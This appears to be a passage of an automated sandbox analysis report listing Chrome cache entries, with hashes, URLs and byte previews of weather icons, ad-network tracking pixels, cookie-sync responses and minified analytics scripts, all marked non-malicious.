t.default}:function(){return t};return a.d(e,"a",e),e},a.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},a.p="./",a(a.s=114)}({1:functi

Chrome Cache Entry: 613

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1650
Entropy (8bit):	5.159978002033735
Encrypted:	false
SSDEEP:	24:tCbYLbGPGuXVGTTGzGeLGSoGQlnGMGl8YolNBa4xYZHnRDaHjjOtKwS7xDSyFYxT:Di+huqUGSbQMHmlNQulQKxM
MD5:	03C10F2C4E36A75805F7735D1F07C98C
SHA1:	DAEF61F97758BEF6CE593D34998F5F8EA7E20E7D
SHA-256:	0F7D51EA19F78212DBF64706C7CCEB771E3D7B6390057BD4E44355B2850B1DA5
SHA-512:	26C726B47435AAF67BA01633AA75F50E48718A494FF19C0E2BD9AD58D070508AE9C8A14255EA0BF5A754BFBA2F6C4BD4D20632A31464478DF74EE68F10C59465
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/weather-svg/MOSTLY_SUNNY.svg
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a">. <stop stop-color="#FFF5B2" offset=".013%"/>. <stop stop-color="#FFDE00" offset="39.944%"/>. <stop stop-color="#FFA700" offset="100%"/>. </linearGradient>. <linearGradient x1="115.053%" y1="97.289%" x2="115.053%" y2="-17.557%" id="b">. <stop stop-color="#FFB92B" stop-opacity=".05" offset="0%"/>. <stop stop-color="#FF6900" offset="100%"/>. </linearGradient>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="c">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M20.464 26.12c-4.225-.75-8.257 2.1-9.051 6.396a5.422 5.422 0 00-5.252 2.062 5.67 5.67 0 00-.693 5.694 3.006 3.006 0 002.792 1.727h10.855c4.085.022 7.5

Chrome Cache Entry: 614

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://sync.srv.stackadapt.com/sync?nid=114&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 615

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=540245193&val=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 616

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.828758439731455
Encrypted:	false
SSDEEP:	3:YL+XPq/ITEpiM9dRn:YyXi/IYsM93n
MD5:	2433334A079DEF4F3E705948AB0DBDCC
SHA1:	34DC6161208F1CE193A631093BC964AAE3C9BA95
SHA-256:	C857BAD35F7F4D837285C99B69452D7AA497E0616136901B5645374FBE9969D0
SHA-512:	508031BD537A6DA06BC1027BAFF45B1FF2D65BA4B1040B2AFD941973C9E56C0C6AC6DBC141F769A77ED8C03D4CBB6B0015A2ED3F50A0725B5760274BABD40F56
Malicious:	false
Reputation:	low
URL:	https://idx.liadm.com/idex/did-004f/any?duid=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31&us_privacy=1YNN&gdpr=0&did=did-004f&gpp_s=DBAA&gpp_as=-1&cd=.yahoo.com&resolve=nonId&resolve=magnite&resolve=pubmatic&resolve=index&resolve=openx
Preview:	{"nonId":"6W2jO4DL-vLlraxL1xnM4Srm6VpmIul7I5KIng"}

Chrome Cache Entry: 618

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (33589), with LF, NEL line terminators
Category:	downloaded
Size (bytes):	58753
Entropy (8bit):	5.26167812703519
Encrypted:	false
SSDEEP:	768:y5B9KXqe7mdOgKY0hXpXVG8FoAKRXSdRKftld0VTScQI8rdFj8:EB9K6d8gghXnyXSuVld4z8Z6
MD5:	A9C11221224C7869C6B916618D892612
SHA1:	39C436EE6D2AFD6F851840AB4673C56CE0372D3E
SHA-256:	7B48A74FA0F94D83AE6D60C772F5E7AA66E7BE1B63CCF223CA14E34D3D7B0D22
SHA-512:	EA05BD1555D819AA35985D16EDA15F9A3805DA01F192156157739E30CE2A22D2888F8E4D1A2ED7A3FC2739CEF848B7EE882A5A628B3657E27AF979FE8F0EB09D
Malicious:	false
Reputation:	low
URL:	https://hbx.media.net/pubcid.php?itype=HB&cb=window.advBidxc.mnetCoRtusId
Preview:	try{ window.__mNPubCidCB = window.advBidxc.mnetCoRtusId ;/. This Source Code Form is subject to the terms of the Mozilla Public. * License, v. 2.0. If a copy of the MPL was not distributed with this file,. * You can obtain one at https://github.com/conversant/pubcid.js/blob/master/LICENSE. * Original github code https://github.com/conversant/pubcid.js. */.!function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"s

Chrome Cache Entry: 619

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 536x284, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	33464
Entropy (8bit):	7.99336965763745
Encrypted:	true
SSDEEP:	768:CvBFVfBC+x3IjJeYf237S0XXVTJslcbu1Ea0evz49HN2W:CvBffYwYOPHVlsGb6Ea0ev8t2W
MD5:	553057A024931171AB8C3D85D9DFBB31
SHA1:	5E88D958FBC368981D47776D7DF2942A43200531
SHA-256:	085C3434C62A35C9A0E818D1B5DD8BD21AA9DEC94485F647C44E6956A3A2B0A3
SHA-512:	241D0A8F51A4EAB352102BAF4AFE616F1E7EFBF5B4E4E9B6820ED6334C9F818DB911D7876E9E20338E1E0844DCCF14904C9CA11011B0C9CEA8B85D0EB1476370
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/jMW9TnmcMAOJFMuiiKZolQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/5a7962ba37d45b87596e3ec992be838a.cf.webp
Preview:	RIFF....WEBPVP8 .............>y2.F$."!0.<....ih....X..._....._s<.........=.1.~.u......=..q.[..=B?9...+.}...._@.....E.>q~...........]...........??..............o.N1X.N........w.p2...:.u....y.=..amm./8....E-.~e....3......p.h...../g..3Q.+....d..]8UD.l....5..X.\.v...[.&=...>....>...V.'.s~m.....L.l.......~3<....G..0..;..@b...,.....O..A..o}".jj..&.M9...u..6.....C...K.)J.2.~.M.....@....B.`..........._M..t..N.l..qlQ-.F.`...K..r0..}.._`. ...L../f .....].Q..<f.^...l...%b.v......;@bE.Ac...@t.g.[..,V.<..9...&. .....Fv..Y...C..-...^H.3...^..............AS....b/.4......@.......}bW.t....DY........^....].........VS.IXn.6.D+a..M..$.E.4..T..2..HW....q-.l\.(T....\z....u...b..Ks.'...9.V.........O.D-..+C.....;....?.g..Y.n&.....=.\|.Y+..I..<j%...&..V+....n..B.......i.-r.f!.N....+.x2...0jXZ..=VfU.W...M)..#.;....L...%..j8.2=...M....E3W.....k(.\......D.T.F...h...2.-.,Y..N..;.....U....L..K..%..hT.Z.r..i...i8.NA.......c.l..Y_&.\|..A...x..."..lnq.....b.W.+.z.Q

Chrome Cache Entry: 620

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8650), with no line terminators
Category:	downloaded
Size (bytes):	8650
Entropy (8bit):	5.299786756830356
Encrypted:	false
SSDEEP:	192:Rg4KScEc4DOw24TWZzhgn9oe4p4n4I42e4gEkebwkoGj3Gm3P36ATynVYKu6vuO:iBSDhaYTWtW9jwOl6ej3fryVYK9
MD5:	87C8B2684A96C97513B8D60729D7A932
SHA1:	C114D13122B9F602DCD858078F31F7BC61CB3A87
SHA-256:	09C10B9544E7A033F59196FD96E0A27EB5C540C40DAAB43E87C6149A8E218723
SHA-512:	DA4A779B4A82C91B1961AD2721E33245EF7C19AA58FFCD440CA8BE87FDB14B7129F12FDA1EAC0994AB83624B5D6084CCC4EE7993EBDD0F919FFFAA89BCAA7ED5
Malicious:	false
Reputation:	low
URL:	https://opus.analytics.yahoo.com/tag/opus.js
Preview:	(()=>{"use strict";var t=function(t){if(t)return t;try{return document.location.hostname.match(/[\w]+\.([\w]+\|co.uk)$/)[0]}catch(t){return""}};const n=function(t,n){for(var e="".concat(t,"="),o=(n\|\|window.document).cookie.split(";"),a=0;a<o.length;a++){var r=(o[a]\|\|"").trim();if(0===r.indexOf(e))return r.substring(e.length,r.length)}return""},e=function(n,e,o,a){(a\|\|window.document).cookie="".concat(n,"=").concat(e,";Max-Age=").concat(31536e3,";Domain=").concat(t(o),";path=/;Secure;SameSite=None")},o=function(n,e,o){(o\|\|window.document).cookie="".concat(n,"=;Max-Age=0;Domain=").concat(t(e),";path=/;Secure;SameSite=None")},a=function(t,n,e){try{var o=(e\|\|window.localStorage).getItem(t);return n?JSON.parse(o):o}catch(t){return null}},r=function(t,n,e,o){try{e?(o\|\|window.localStorage).setItem(t,JSON.stringify(n)):(o\|\|window.localStorage).setItem(t,n)}catch(t){}},i=function(t,n){try{(n\|\|window.localStorage).removeItem(t)}catch(t){}};var c="opus",d=function(t){for(var n=0,e=0;e<t.length;e++

Chrome Cache Entry: 621

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13778), with no line terminators
Category:	downloaded
Size (bytes):	13778
Entropy (8bit):	5.2842901333678345
Encrypted:	false
SSDEEP:	384:/JwTpCNwszoTDPohnGZA3exQUqxL/wwBVi:elCNw/XoR4A3eePbi
MD5:	4443A60B3D3645610C9E65B7CC9F15BB
SHA1:	DE3A0B8509362B37FB40D74A9883F366D161A8B5
SHA-256:	F271BF73D0EEFE04F56CB6390E07D7D2A4794787283D65221397B258CEF040DF
SHA-512:	6134E0CE99CC2128F03FF38713B7A88617EA9C1518F01C6D56CD725673C0F58B58572E4744C6254868D98BE8EF9AF352BA0B724290EB35D182AA5F57381048B0
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-action-1.8.1-modern.js
Preview:	!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-action",[],e):"object"==typeof exports?exports["wafer-action"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|{},t.wafer.wafers["wafer-action"]=e())}("undefined"!=typeof self?self:this,function(){return function(t){function e(a){if(r[a])return r[a].exports;var i=r[a]={i:a,l:!1,exports:{}};return t[a].call(i.exports,i,i.exports,e),i.l=!0,i.exports}var r={};return e.m=t,e.c=r,e.d=function(t,r,a){e.o(t,r)\|\|Object.defineProperty(t,r,{configurable:!1,enumerable:!0,get:a})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="https://s.yimg.com/aaq/wf/",e(e.s="./src/entry.js")}({"./src/entry.js":function(t,e,r){"use strict";function a(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,w

Chrome Cache Entry: 622

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	140
Entropy (8bit):	4.705561380998731
Encrypted:	false
SSDEEP:	3:YMsw/cfN3wxk8HHiJsMMg/eUtfYtlm2spn/Fx2VHfCkpHC+MZt:YMsw/cWPMMg/ptQoXn/Fx2t6mHqt
MD5:	ED2348C1C183DFFB7F5345063519280B
SHA1:	16B5B9DD549E101EDBB2C5BA2605EF50107BC361
SHA-256:	D561ABEEE55862E3D0A34C995651EA41AD861B694B38F7D50F9EDEE84338F2A2
SHA-512:	ED618551F257E8AB26D0A45A5ED18065F623885D488DEACF8018EA0B22372CB5B2EFE5D6E951DA3983D44C72F14066557722B5EF1B2D585EA27786670F633B4D
Malicious:	false
Reputation:	low
URL:	https://guce.yahoo.com/v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid
Preview:	{"identifier":"66q2ji9j2qvpa","identifierType":"bid","tosRecords":{"nonEu":{"consentEvents":{"iabCCPA":"1YNN","gpp":"DBAA","gppSid":"-1"}}}}

Chrome Cache Entry: 623

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	48
Entropy (8bit):	4.944235677759421
Encrypted:	false
SSDEEP:	3:YEOBH35vi/SG3/i4zQCAb3n:YEOBX5vi/Y4B+3n
MD5:	5772DD7D9EB0EB780BA2128DE5DFA67E
SHA1:	C46FF1F7A64F7FACCB0E619CC0AE4719B42628A8
SHA-256:	5A9FDE5D1AAB8A5D347313C608D42626DFD9C50618DC6F1C674C58C26F665963
SHA-512:	35D3F9B90803972CD695C5ABE085966B79220A8C35EFD7D26078245976FC8F8DCC2E89A155B5C89F4BF2C4E8E86A16E2FBA8F292E5058ACD254D37CDF0390B7F
Malicious:	false
Reputation:	low
URL:	https://ups.analytics.yahoo.com/ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN
Preview:	{"axid": "y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A"}

Chrome Cache Entry: 624

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1000x800, components 3
Category:	dropped
Size (bytes):	74329
Entropy (8bit):	7.872887708654891
Encrypted:	false
SSDEEP:	1536:Pk2xMi2OVQHg/RJMTHDS+uQzfSKkKUY0kywfsW3eYY2b0C:vxUOjRJcDSrSSKwYswfp3/zp
MD5:	755D33FB2F75BDB23754DCFD2F98CDC4
SHA1:	9F5817F247153920161099EA127D9F3503A591C7
SHA-256:	B8839AE12B6A3B22D766B541D54362C0A3FEF180BE757C7CE5AB47740C5299F0
SHA-512:	DAF9B0AE377C7E9EFD53C71F45E5DB7F96C373BAB7AC59B8F5AAEEDF42849943EF583C91D2312E19098B007899C7750943D6C20AD2295534F879068338D04881
Malicious:	false
Reputation:	low
Preview:	......JFIF...................................................%...#... , #&'))..-0-(0%()(...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... .............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..~c..`f\.03.Z......Mb.6P...i...'....7.'F...........TA.."....%.D2.).a.D.).a.(...1.@..P.PI.U.B..kS.....P.P.....@....@.sT..h...P(..P;..,....X\P;..jB..p.l..`. ..P...w..(.XB(.........Z..,".x.. ..@....h.2.@........T..].b7ZC#h....@.Uh..1...:..!.C....T....qAL.7.@..l9z..:..~Q[...H.(.C.T..4..Z....$..U.B...+....2Z..fM.d..J..UqPX...@......J.(.....@.@.@..&.P..)..1MQb.[.jV...\.H*l;.....

Chrome Cache Entry: 625

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	310413
Entropy (8bit):	5.156037142283953
Encrypted:	false
SSDEEP:	6144:UFCLL5S2ttHGMiLV3gg0ETiQ40zyKaJ5XHZHR9K2jwsO:aGJEWayKw5XHZHR9K2jwn
MD5:	DBE59CAAFCB089C71C8D8466FF07921C
SHA1:	5064A159C61AC1B9BEA1B14F3F119984F41BA7E8
SHA-256:	CE329126B1FD19C4E1E43F2C8098EDFC6785516AA755B10E3DE4025B05D8FDE9
SHA-512:	31BFD6B8C4635CD53BBA307BC3483D4B90AAB359D1D41FB836AA879C241B3AB1AF29ED634280AEEAF5E528217BD7BE7231CDB3434BD928B161F32DD25C5A8A73
Malicious:	false
Reputation:	low
URL:	https://s8t.teads.tv/sdk/2022.0.0
Preview:	"use strict";var bnt,__read=this&&this.__read\|\|function(o,n){var m="function"==typeof Symbol&&o[Symbol.iterator];if(!m)return o;var r,e,i=m.call(o),ar=[];try{for(;(void 0===n\|\|0<n--)&&!(r=i.next()).done;)ar.push(r.value)}catch(error){e={error:error}}finally{try{r&&!r.done&&(m=i.return)&&m.call(i)}finally{if(e)throw e.error}}return ar},__spread=this&&this.__spread\|\|function(){for(var ar=[],i=0;i<arguments.length;i++)ar=ar.concat(__read(arguments[i]));return ar},__extends=this&&this.__extends\|\|function(){var extendStatics=function(d,b){return(extendStatics=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(d,b){d.__proto__=b}\|\|function(d,b){for(var p in b)b.hasOwnProperty(p)&&(d[p]=b[p])})(d,b)};return function(d,b){function __(){this.constructor=d}extendStatics(d,b),d.prototype=null===b?Object.create(b):(__.prototype=b.prototype,new __)}}(),__decorate=this&&this.__decorate\|\|function(decorators,target,key,desc){var d,c=arguments.length,r=c<3?target:null===desc?desc=Object.ge

Chrome Cache Entry: 626

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=openx&google_hm=ZThjNTkwYWYtMDQyYi02YWRhLTU0MDMtODNlNGFhNWJiZTk2
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 627

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 629

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 630

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV80YzUzNTQwZS01YTIwLTRmYzAtOTRiYy05NmI1NjE4YTI1ZDI=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 631

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x156, components 3
Category:	dropped
Size (bytes):	22785
Entropy (8bit):	7.8809629548330875
Encrypted:	false
SSDEEP:	384:HkguYNg7PVEMeRh0eoGK81cYryTnT8a6Rh3f5juvq70XH69DXOA9trzJRiJG5tXk:HiYyrVE90NUnmTnYa0luvqwwbBrzKmtk
MD5:	979B583107B62C8C19A7A45B2D346B51
SHA1:	E9B869046862CC13C1693F04BDDBC0AA421B4453
SHA-256:	A7179DFAA0259F623D39612CC279B0BCDAEC38455472D7045B15EA15CE50D47A
SHA-512:	2A8507D21B817DFFEB16F0BE662CF7BBCF5F6B5C313EC5BD0652CFE50DD2B8CC913766E4F1DB6FC1CE67962D0B60B6B020D5677DA92B1D4AC493317397CA533B
Malicious:	false
Reputation:	low
Preview:	......JFIF............. ICC_PROFILE.......appl....mntrRGB XYZ .........:.8acspAPPL....APPL...........................-appl................................................desc...P...bdscm........cprt.......#wtpt........rXYZ........gXYZ........bXYZ........rTRC........aarg... ... vcgt...@...0ndin...p...>mmod.......(vcgp.......8bTRC........gTRC........aabg... ... aagg... ... desc........Display.................................................................................mluc.......&....hrHR........koKR........nbNO........id..........huHU........csCZ........daDK........nlNL........fiFI........itIT........esES........roRO........frCA........ar..........ukUA........heIL........zhTW........viVN........skSK........zhCN........ruRU........enGB........frFR........ms..........hiIN........thTH........caES........enAU........esXL........deDE........enUS........ptBR........plPL........elGR........svSE........trTR........ptPT........jaJP.........C.o.l.o.r. .L.C.D..text....Copyright Apple Inc., 2023

Chrome Cache Entry: 632

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1087
Entropy (8bit):	5.120392827929451
Encrypted:	false
SSDEEP:	24:tCbYLdLGSKGQlnGMGlTIqdhg1a4x0KKGSyFzWIS66AvIS6RAytgI:DJGSdQMH76k96gsK
MD5:	B182D19798F0D66CA701301E28C0034A
SHA1:	52C014BAA654A9E6B73CAC335FEFDB7B39B6B123
SHA-256:	804F7150640198DF0AAC95F7499EC183FFED8AB411CCF16C5D96D3D83A75E063
SHA-512:	238044791F93191D6899F784C114A4DC4F610A55BCA1BCCB75CDCC9A2799617ECB63C49546623AB20474EDCF6A38642708093E03EA32C39E77A190970B06E750
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/weather-svg/SHOWERS.svg
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M44 15.23c0 8.462-6.77 15.232-15.23 15.232H9.307C4.23 30.462 0 26.23 0 21.154s4.23-9.308 9.308-9.308c1.523 0 3.046.339 4.4 1.185C14.892 5.585 21.154 0 28.769 0 37.231 0 44 6.77 44 15.23z" id="b"/>. </defs>. <g fill="none" fill-rule="nonzero">. <g transform="translate(2 2)">. <use fill="url(#a)" xlink:href="#b"/>. <use fill-opacity=".05" fill="#7DCBFF" xlink:href="#b"/>. </g>. <path d="M35.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C28.565 38.87 33.67 36 33.67 36s2.857 4.921 2.245 6.972zM21.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C1

Chrome Cache Entry: 633

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 634

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&vxii_pid=12&vxii_pid1=10067&vxii_rcid=519145c2-b0d4-4091-bf35-b0e642603ef9
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 635

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 29228, version 1.0
Category:	downloaded
Size (bytes):	29228
Entropy (8bit):	7.9913276388054175
Encrypted:	true
SSDEEP:	768:A08yHVMfsohDPuFkFetIg2Yst7BNq95YvCTn:A08yHWUH1kG95YCT
MD5:	7C7C02DCEE2BF1C2528DB6092D4AD1FA
SHA1:	988A01F705C074261490625C70F94B2642413693
